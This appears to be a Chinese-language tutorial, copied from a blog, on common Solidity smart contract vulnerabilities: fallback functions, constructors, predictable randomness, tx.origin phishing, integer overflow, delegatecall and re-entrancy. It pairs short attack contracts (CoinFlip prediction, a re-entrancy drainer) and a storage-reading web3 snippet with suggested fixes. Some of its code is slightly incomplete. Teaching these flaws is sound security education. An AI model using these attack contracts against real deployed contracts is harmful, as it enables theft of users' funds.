准备
普通攻击
fallback回退函数
合约可以有一个未命名函数,该函数不能有参数,也不能有返回值。fallback函数在以下情况会被调用:
- 一个调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据)。由于Solidity中,Solidity提供了编译期检查,所以我们不能直接通过Solidity调用一个不存在的函数。但我们可以使用Solidity的提供的底层函数address.call来模拟这一行为,进行函数调用。
- 合约收到以太币,没有任何数据(为接受以太币,fallback函数必须标记为
payable
:function() payable public{}
,否则合约无法接收,如果通过转账函数transfer
发送到没有定义payable的合约,会抛出错误,导致后面的代码无法执行!但如果有合约通过自毁selfdestruct(address)
的方式发送,即使没有定义为payable都得收下!)。通过MetaMask的Send向合约地址转以太币触发(ethernaut环境下可通过集成函数contract.sendTransaction({value: 1})
转以太币;通过address.call.gas(1000000).value(msg.value)();
在合约中转以太币)。
构造函数
构造函数无法显式调用,但如果构造函数和contract名字不一致,就能被直接调用,solidity 0.4.22
引入了关键词constructor
来指定构造函数。
随机数预测
- 使用区块变量
block.coinbase/difficulty/gaslimit/number/timestamp
,或基于过往块的哈希值block.blockhash(block.number – 1)
,由于区块变量在同一区块是共用的,通过攻击合约调用目标合约,即可实现预测
12345678910111213 | contract CoinFlip { function flip(bool _guess) public returns (bool); } contract Attack { address _addr; constructor(address param) { _addr = param;} function guess() public{ CoinFlip cf = CoinFlip(_addr); //new instance with address uint256 blockValue = uint256(block.blockhash(block.number-1)); //generate the same random value bool side = uint256(uint256(blockValue) / FACTOR) == 1; return cf.flip(side); //invoke method with instance } } |
- 使用未来区块的区块哈希(使用上一次调用区块高度计算哈希值),由于EVM 能存储的区块哈希为最近的256条,超过的话置为 0。因此,如果第二次调用时,与第一次下注时的区块高度差超过了 256,那么此时的产生的区块哈希为0,此时伪随机数就变成可猜测的了
- 使用私有的种子变量,将变量标记为私有只会阻止其他合约访问它,但是可以以链下的方式去获取链上的存储信息。如使用客户端的web3 API方法web3.eth.getStorageAt(addr, argument_index,callback),可以检索合约的存储
123 | web3Provider = new Web3.providers.HttpProvider('https://ropsten.infura.io/'); //默认的web3必须带上callback回调函数 web3 = new Web3(web3Provider); web3.eth.getStorageAt("0xad836dc9bc4fa0af947a27128edfa14459d77f19", 1, function(x, y) {alert(web3.toAscii(y))}); //以alert的方式将该地址的第2个值转化ascii显示 |
解决该问题可选的方案有RANDAO或Oraclize等,以去中心化的方式或是与外界互联网交互的方式得到安全的随机数。
区分tx.origin
和msg.sender
msg.sender
是函数的直接调用方,在用户手动调用该函数时是发起交易的账户地址,但也可以是调用该函数的一个智能合约的地址。而tx.origin
则必然是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,而且一定是账户地址而不是合约地址。所以如果存在用户通过合约A调用合约B,那么对应合约B而言,msg.sender
是合约 A 地址,但tx.origin
是用户的账户地址。
如果目标合约使用tx.origin
作为校验的依据,攻击者以钓鱼等方式,欺骗目标合约拥有者向攻击协议发送以太币,调用fallback函数,然后在fallback函数调用目标合约,由于tx.origin
会是交易原始发起方,也就是目标合约拥有者,满足校验条件,从而实现攻击。
解决方案:通过require(tx.origin == msg.sender)
限制外部合约对内部合约的调用。
整数溢出
uint
默认为256位无符整型,可表示范围[0, 2**256-1]
。如果对0减1,则由256位的0,变成256位1,整数下溢,变成一个最大的整数。同理,如果对256位1加1,则变成256位0,变成最小的整数。同理:uint8
,只能存储在范围[0,255]
的数字。
解决方案:
- 在每一次数学运算时进行判断,如
a=a+b;
,就可以写成if(a+b>a) a=a+b;
- 使用 OpenZeppelin 团队开发的
SafeMath
库,如果整数溢出漏洞发生时,函数将进行回退操作,如加法操作写为:a=a.add(b);
call/delegatecall调用
使用call函数来进行合约交互,对目标合约发送数据。delegatecall跟call主要的不同:通过delegatecall调用,仅使用目标地址的代码,其他信息则使用当前合约(如:msg.sender
等)。delegatecall是危险函数,他可以在被调用合约完全操作原始合约的状态,谨慎使用!
通过call/delegatecall调用函数,传入的第一个参数是四个字节时,会把这四个字节当作函数的id来寻找被调用函数,而一个函数id的生成规则是其函数签名的sha3的前4个bytes。因此通过:web3.sha3("pwn()").slice(0,10)=0xdd365b8b
,加上0x,总共取前10个字符。
重入攻击(Re-entrancy)
被攻击函数withdraw()
在发送以太币msg.sender.call.value(_amount)()
之后才更新余额balances[msg.sender] -= _amount;
,因此通过攻击合约调用withdraw
时,攻击合约在fallback函数中接收以太币时再次调用withdraw
,则可以在更新余额之前无限递归调用withdraw
。
1234567891011121314151617181920 | contract Reentrance { function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; // update balance after send } } } contract Attack { function() public payable { uint weHave = c.balanceOf(this); if (weHave > c.balance) { if (c.balance != 0) c.withdraw(c.balance); return; } c.withdraw(weHave); } } |
来源:https://www.cnblogs.com/lijianming180/p/12268129.html